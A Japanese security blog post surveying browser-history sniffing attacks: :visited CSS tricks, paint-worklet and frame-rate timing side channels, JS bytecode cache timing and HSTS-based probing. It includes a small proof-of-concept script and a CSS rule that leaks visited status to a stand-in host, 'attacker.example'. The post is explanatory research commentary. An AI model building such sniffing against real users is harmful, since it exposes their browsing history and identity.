Browsing History Sniffing 最前線 - あなたのブラウザ履歴を狙う攻撃たち

IS19er / seccamp 2012 卒業生のつばめです。本稿は ISer Advent Calendar 2018セキュリティキャンプ 修了生進捗 #seccamp OB/OG Advent Calendar 2018 の 7 日目として書かれた記事です。今年 2018 年に発表された論文 (Smith et al., 2018) をきっかけに, Browsing History Sniffing 周辺を軽く眺めてみながら, 「Web の複雑さとの付き合い方」を少し考えてみたいと思います。

TL;DR

Browsing History は個人の趣味嗜好を表すだけでなく, fingerprint としても機能し得る存在です。その重要性から, それを盗み見るための Sniffing 手法も多くが考案されてきましたし, 対策法についても検討・実装が重ねられてきました。しかし近年提案される手法はどうにも巧妙で, 例えば Smith et al., 2018 で提案された手法は, Web ブラウザに最近搭載された機能の技巧的な組み合わせによるものでした。このような事例をベースに, Web の複雑化から生じる問題たちと, 私達がどう向き合うべきかを考えてみます。

Browsing History の重要性 - 個人の射影たる履歴

少なくともこの記事を読む際には, 多くの人が Web ブラウザを利用しているかと思います。今日の世界に生きる多くの人にとって, Web ブラウザは日常から切り離せない存在です。これは Web ブラウザに積もったデータが, 多くの場合, 利用者の日常の一部を十分反映したものであることを示唆しています。

そのためブラウザ履歴は, fingerprinting に大きく貢献します。今 fingerprinting とは, 指紋 (fingerprint) と呼ばれるユーザー特有の情報を用いて, 集団中の各ユーザーの特定を行うことです。

実際に以下の 2012 年の Olejnik et al. による論文では, ユーザーの興味をうまく推定したり, 効率的な fingerprinting を行うためにブラウザ履歴が有用であることを報告しています。とりわけある 50 個の Web ページを閲覧したことがあるかがわかれば 42 % のユーザーを識別することができ, その精度は 50 → 500 個なるデータセットの拡大で, 70 % のユーザーの識別にまで至るという結果も出しています。Web は急速に進化しておりますから, もちろんこの結果は批評無しで飲み込めるものではない, ということは付言しておきます。

  • L. Olejnik, C. Castelluccia, and A. Janc, “Why johnny can’t browse in peace: On the uniqueness of web browsing history patterns,” in 5th Workshop on Hot Topics in Privacy Enhancing Technologies (HotPETs 2012), 2012.

また Wondracek et al., 2010 では, SNS 関連の閲覧履歴を盗み見ることで, そのブラウザを利用しているのがどの個人かまでを特定する試みをしています。これも少し古い論文ですが, ユーザーの所属グループに関する情報があれば, そのユーザーの特定には十分だ, と述べている点が面白いですね。実際そのような仮定を置くと, 全ユーザーのプロフィールページへのアクセス履歴を調べるのではなく, グループのページへのアクセス履歴を調べるなどすれば, 十分 De-anonymize 可能であることになります。これはアクセス履歴を調べる必要のある URL の数が大幅に削減される点で, 非常に重要な帰結です。今(2018年)もなお実現可能かは検討が必要ですが, 確かに理にかなった考え方ではありそうですね。

  • G. Wondracek, T. Holz, E. Kirda, and C. Kruegel, “A practical attack to de-anonymize social network users,” in Security and Privacy (SP), 2010 IEEE Symposium on, 2010, pp. 223–238.

Wondracek et al., 2010 はあくまで Browsing History Sniffing と称される手法(後述)を用いて「ある URL がアクセス履歴に含まれるか」を繰り返し知ることで, 最終的に De-anonymize を達成する手法でした。しかし Browsing History Sniffing はあくまでブラウザの欠陥に起因することが多いため, 1 つの方法が永続的に使えるわけではありません。そこで以下の Su et al., 2017 では, これよりより弱い制約として, もし Browsing History 全体がなんらかの方法で手に入るのを前提として, より theoretical な De-anonymize 手法を構築する試みをしています。これも面白い論文ですので, 具体的な手法については, ぜひ論文の方をご一読いただければと思います。

  • J. Su, A. Shukla, S. Goel, and A. Narayanan, “De-anonymizing web browsing data with social networks,” in Proceedings of the 26th International Conference on World Wide Web, 2017, pp. 1261–1269.

このように利用者の射影として重要な情報である Web ブラウザの履歴は, 多くの人が欲しがるものでもあります。それを裏付けるデータとして, 次 Jang et al. の論文を一読することを勧めます。 この 2010 年の Jang et al. による論文は, JS を利用したいくつかの Privacy Violation 手法が, 著名な Web ページでいかにデプロイされているかを調査したものです。彼らの結果のうち, とりわけ本稿の文脈で注目すべき結果は, Alexa Top 50000 にランクインしている Web サイトのうち, 46 の Web ページが History Sniffing を実際にデプロイしていたという報告です。

  • D. Jang, R. Jhala, S. Lerner, and H. Shacham, “An empirical study of privacy-violating information flows in JavaScript web applications,” in Proceedings of the 17th ACM conference on Computer and communications security, 2010, pp. 270–283.

Browsing History Sniffing

攻撃の分類

前提として, なんのひねりも無しにブラウザ履歴を取得することはできません。より具体的に言うと, history.getRecords() のような便利な API は無い, ということです。これはプライバシーの観点から容易に理解されるでしょう。

そのため Web ブラウザの履歴を欲しがる人々は, ある URL がブラウザ履歴に含まれているかを確かめるための, あらゆる手段を考え出してきました。これはブラウザ中の全履歴を取得するより弱い課題ですが, Olejnik et al., 2012 の結果を信用すると, 十分力強い課題であることに注意しましょう。その手法は概ね次のように分類されます:

  • Visited-link attack
  • Cache-based attack

その各々の説明は後に続くサブセクションで行うことにします。どちらもあるページがブラウザの履歴に含まれているか, あるいは含まれていないかを, 一捻りされた方法で確認する手法です。

概要

Visited-link Attack は, CSS の :visited 擬似クラスと, 履歴に含まれているか調べたい URL を href 属性に指定した <a> リンクを用いて, その URL 履歴に含まれているかを調べる方法です。

:visited 擬似クラスは, <a> によるリンクのうち, 閲覧済のリンクのみにスタイルを指定するのに使えます。例えば次の例では, 閲覧済のリンクの文字のみを green に変更します:

a:visited {
    color: green;
}

こうすると ブラウザの履歴に含まれる URL への <a> にのみ, 特定の操作(i.e. スタイルの適用)を加えることができます。この操作を攻撃者が何らかの方法で確認できるのであれば, 攻撃者は当初の目的を達成できることになりますね。

今は亡き Classical な手法

例えば :visited 擬似クラスを用いる最も簡便な Sniffing 手法として, window.getComputedStyle やその類似物を用いる手法があります:

<style>
:link{
    color: green;
}
:visited{
    color: red;
}
</style>
<script>
window.onload = () => {
    // the color will be red if the link is visited,
    // otherwise it will be green.
    alert(window.getComputedStyle(document.getElementById("suspicious"), "").color);
};
</script>
<a id="suspicious" href="http://sample.example.com/path/to/inspect">link</a>

昔は上記のサンプルコードのような方法で, 簡単にある URL に既に訪れたことがあるかを判定することができました。

その他 CSS visited pages disclosure などで報告されているように, 次のようにして :visited 属性がオンになったこと攻撃者が観測する方法も, 昔は使えました:

a:visited {
    background-image: url('http://attacker.example/?visited=true');
}

もちろんこのような誰もが思いつく方法は, 既に対策が取られています。具体的には以下の MDN のページで述べられている通り, :visited と併用できるスタイルが, -color 系のいくつかのスタイルと fill, stroke にのみ限られています。結果 background-image: url(...) のような自明な方法は使えません。

時代は “副作用を観測する” 方向へ

そこで攻撃者たちは, :visited 擬似クラスによる変化が及ぼす 副作用 に注目し始めました。例えば 訪問済みのURLに href が変わった時に生じる副次的な処理を観測したり, あるサイトの訪問によりブラウザのどこかに残される痕跡を観測しよう, というのがその例です。ここではこの程度の抽象的な表現に留めておきますが, 具体的な例は続くサブセクションにて紹介します。

2018 年の Smith et al. の論文 (NOTE: 彼らは善意あるセキュリティ研究者です) には, 上述の「副作用を観測する」ためのエッセンスが詰め込まれています:

  • M. Smith, C. Disselkoen, S. Narayan, F. Brown, and D. Stefan, “Browser history re: visited,” in 12th USENIX Workshop on Offensive Technologies (WOOT 18), 2018.

この後のサブセクションでは上記の Smith et al. (2018) で報告された, Visited-link Attack に分類される 3 つの手法の概略を紹介します。

CSS Paint API の悪用 (Smith et al., 2018)

CSS Paint API は Chrome 65 から利用できる, CSS からイメージ描画用の JS を呼び出すことができる API です。もちろん接続された JS から呼び出せる関数はだいぶ制限されていますので, すぐ思いつくような Sniffing (e.g. JS 側で外部と XHR, Fetch で連絡を取る) は不可能です。

しかし CSS Paint API と JS のイベントループを通じた情報伝達の手法を組み合わせることで, うまく Browsing History Sniffing を実現することができる, ということが Smith et al. により報告されました。先述の Smith et al. による論文や次のページから PoC や経緯などを確認することができます。

攻撃の概略は以下です:

  1. 一定時間 JS のイベントループをブロックするような paint worklet を, <a>background-image あたりに登録しておく。
  2. JS からある <a> の URL を "//dummy.example" (ユーザーが必ずアクセスしたことがないであろう URL) → ユーザーの履歴にあるか調べたい URL に変更する。
  3. このときもしリンクの色の変更が走ると paint worklet が再び呼ばれ, 結果 JS のイベントループがブロックされる
    • そのブロックの有無を performance.now() による処理時間計測で判断する

この攻撃のミソは, 主に次の 2 つだと考えます:

  • リンクの visited status (リンクが閲覧履歴に含まれているか否か) の変化を, paint worklet の再呼び出しという副作用に帰着させたこと
  • JS のイベントループを通じて, 本来制限されている情報の伝達(ここでは paint worklet が呼ばれたかどうか) を実現していること

特に後者に関しては, 他にも様々な局面で応用が効く手法であるように思われます。Smith et al., 2018 では後者に関し, 次の Vila and Köpf の論文を引用しています。これも大変面白いので, もし時間と興味があれば, 一読することを推奨します。この手法は知っていたんだけど, こういう方向で効いてくるとは思っていませんでした。無念。

  • P. Vila and B. Köpf, “Loophole: Timing attacks on shared event loops in chrome,” in USENIX Security Symposium, 2017.

CSS 3D Transforms や SVG への fill の悪用 (Smith et al., 2018)

最近の CSS はだいぶ豊かな表現力を持っています(言語としてではないですが)。 CSS 3D Transforms や SVG に対する fill などはその例でしょう。

Smith et al., 2018 ではこの 2 つに着目した手法も提案しています。私が確認したところ, これに対してはまだ CVE が付いていないように見えます。具体的には次のような手法です:

  1. <a> タグに次のどちらかの処理を施しておく:
    • CSS 3D Transforms による激重演算スタイルを設定する
    • <a> 内部の SVG に対する激重 fill を設定しておく (たくさんのポリゴンを用意しておくなどする)
  2. <a>href"//dummy.example" (ユーザーが必ずアクセスしたことがないであろう URL) とユーザーの履歴にあるか調べたい URL の 2 つを繰り返し変更する
  3. もしリンクの色の変更が繰り返し走ると, 1 の激重演算が何度も走り, 描画が重くなるはず
  4. そこで FPS を requestAnimationFrame で計測しておく
    • 描画が重くなったかを, この FPS を見て判断する

この手法中では CSS から JS が呼ばれることがないので, イベントループを経由した情報伝達はできません。しかしページの FPS を低下させ, それを計測することによって, リンクの状態変化が起こったかどうかを観測しています。言い換えると, :visited とそうでない状態への変化の副作用(i.e. 再描画)を, 激重処理により観測しやすくした, というのがミソなのではないでしょうか。シビれますね。

Cache-based Attack

概要

Web ブラウザはより良いユーザーエクスペリエンスのために, 様々な最適化 (optimization) 機構を持っています。そのうち Web ブラウザの履歴に関連するものと言えば, 素直な例として, ブラウザのキャッシュ機構が挙げられるでしょう。より具体的に言うと, 一度訪れた Web サイトに関しては多くの場合, ローカルに何らかのキャッシュが残ります。

もちろんブラウザの履歴同様に, ブラウザに残ったキャッシュの存在を直接観測することはできません。しかしなんらかの副作用を通じてキャッシュの存在が確認できたとしたらどうでしょうか。そこに注目するのが Cache-based Attack と呼ばれる手法です。

続くサブセクションでは, 先述の Smith et al., 2018 の手法と, HSTS を巧みに利用した Sniffly2 という方法について概略を紹介します。

JS Bytecode Cache の悪用 (Smith et al., 2018)

JS はページがロードされる際にダウンロードされ, Bytecode に変換されます。その結果をキャッシュする仕組みが JS Bytecode Cache です。ダウンロードしてから Bytecode に変換するまでの時間は “そこそこ” (業界によってこの基準は変わりますが…) かかりますから, それをキャッシュによって高速化しよう, というのがこの仕組みです。

察しの良い方はもうお気づきかもしれませんが, この “そこそこ” の有無を計測することにより履歴中にあるサイトが含まれるかを調べることができます。Smith et al., 2018 で提案された手法は, 概ね以下のようなものです:

  1. 履歴中にあるか調べたいページからロードされている JS ファイルを選ぶ
  2. その JS ファイルを var t = document.createElement('script'); t.async=false; s.src="...."; document.head.appendChild(t); などとしてロードしてやる
  3. Resource Timing API により, その JS がダウンロードされたタイミングを取得する(e.g. responseEnd)
  4. その JS が実行されたタイミングを取得する
    • ※ これはそこそこ難しい。論文中ではグローバル変数への setter を使っているが, ここでは詳細に立ち入らないことにします。

CSS を使った方法に比べて解像度が低い (i.e. パス単位では履歴を取得できない) 点に注意が必要ですが, 初期の目的であった “ユーザーの fingerprint” や “趣味の傾向を掴む” という観点を考えると, 十分驚異的であると言えます。

HSTS の悪用(Sniffly, Sniffly2)

HSTS (HTTP Strict Transport Security) も最近導入が進んできていますね。一度 HSTS ヘッダを返すページを踏むと, その有効期限が切れるまでは, 自動的に HTTPS ページにアクセスするのがこの仕様です。

実はこれを逆手に取ることによって, ある HSTS ヘッダを返すページがブラウザ履歴に含まれるかを判定する手法が, 過去に発見されています。解像度は JS Bytecode Cache の悪用と同じで, Origin 単位となりますが, これも面白い手法ですね。

まずその一つは Sniffly と呼ばれており, CSP + HSTS により実現されています。ただこれは Chrome 48 (結構前) に修正されました (CVE-2016-1617)。

しかし 2017 年に, Resource Timing API と 443 番への HTTP リクエスト (ポートからの直感とは異なり, HTTPS ではないことに注意しましょう) を行うことにより, HSTS をまたうまく悪用する Sniffly2 が登場しました。ピンとこない方は, ぜひ Chrome に報告されたこの Issue 436451 の概要を眺めてみてください。

以下のリポジトリに PoC がおいてあるので, 詳しい説明は省略します:

最後に: 複雑さとの付き合い方?

本稿では Browsing History の重要性と, それを巡る攻撃手法 (Browsing History Sniffing) について, Smith et al., 2018 を中心に眺めてみました。ここからはポエムです。

Web 技術は複雑化の一途を遂げているとしばしば耳にします。そして私も実際そうであるように感じます。またこの複雑さが様々な攻撃手法を生んだり, それらの組み合わせにより以前までの安全性が壊れるケースがしばしばあります。言い換えると, Web の進化に伴ってブラウザに導入された新しい機能が, かつての安全を破壊するケースです。今回挙げたいくつかの手法は, その良い例でしょう。

しかし一旦複雑さという言葉を脇において, 今回の具体例を振り返ってみると, 悪用されているのは, Web ブラウザのセキュリティ機構の根幹を形作る Origin を, ないがしろにして実装されている機能である ということが, どの攻撃手法に対しても言えそうです。例えば JS Bytecode Cache はキャッシュがどの Origin からのロードでも効いていて, これが問題を引き起こしました。Visited-link Attack に関しては ブラウザの履歴という機構が Origin に関連しないこと, すなわちあるページから見て Cross-Origin なページの履歴がそのページの描画に影響を及ぼすことこそが, 問題の一端を担っています。これらは簡単な考察から理解されるはずです。

そのような考察を前提におくと, ブラウザのセキュリティモデルと実装に一貫性があれば, どの攻撃手法も生まれてこなかったような気がしてきます。また実装者が攻撃法を思いつくことができなくても, それが潜在的に Cross-Origin な操作を含む機能であることを実装者が認識していれば, その機能が潜在的に危険であることが理解され得たのではないでしょうか。

しかし実装者も人ですから, 知らないことだってあります。全てを押し付けるのは酷ですね。そう考えると, 新機能を実装・レビューする人々全員, 使用する我々, 言い換えると Web の “複雑さ” に加担する個々人が, じーっと一つ一つに目を凝らすしかないのではないかと思っています。複雑さに加担する一員として, 正しく基礎や原理を理解し, 目を磨き続けることが, この複雑化しつつある Web の世界との付き合い方なのだろうな, と私は考えています。まあ難しいし消耗しているのですが… X-( またあくまで研究者やエンジニアとしてのマインドを貫きたいなら, 形式手法などでゴリゴリ戦うのも面白そうですよね。僕はどちらかというとこの道に進みたいです。

ざっくりまとめると, 基礎的なセキュリティ技術への理解や, 著名なソフトウェアのセキュリティモデルへの正しい理解は, これから先消耗しないための基礎体力なのではないかと思ったりしているのでした, という話です。

以上, 最後はポエムでしたが, 本稿はここで筆を置くことにします。明日は xuzijian629 さんの記事です。

一応

本稿はブラウザ履歴を狙う既存の手法を俯瞰することを通じて, よりよい Web との付き合い方を模索するために書かれたものであり, 悪事を助長するものではありません。また原文を引用するのが難しい箇所は, 翻案にならない程度の記述に留めたつもりです。また私の未熟さゆえ, 本稿には私の勘違い/間違いが含まれている可能性が十二分にありえます。それはどうかご了承ください。誤りの指摘は大歓迎です :-)

また本稿はもともと東京大学理学部情報科学科という学科, 通称 IS の Advent Calendar のために書かれたものです。しかし #seccamp 修了生アドベントカレンダーの 7 日目もちょうど空いていて寂しかったので, あわせてこちらにも登録してしまうことにしました。普段の 2 記事分くらいは書いたので, (自分で) よしということにします。今からでも遅くないので, ぜひ埋めてしまいましょう :-)

Written on December 6, 2018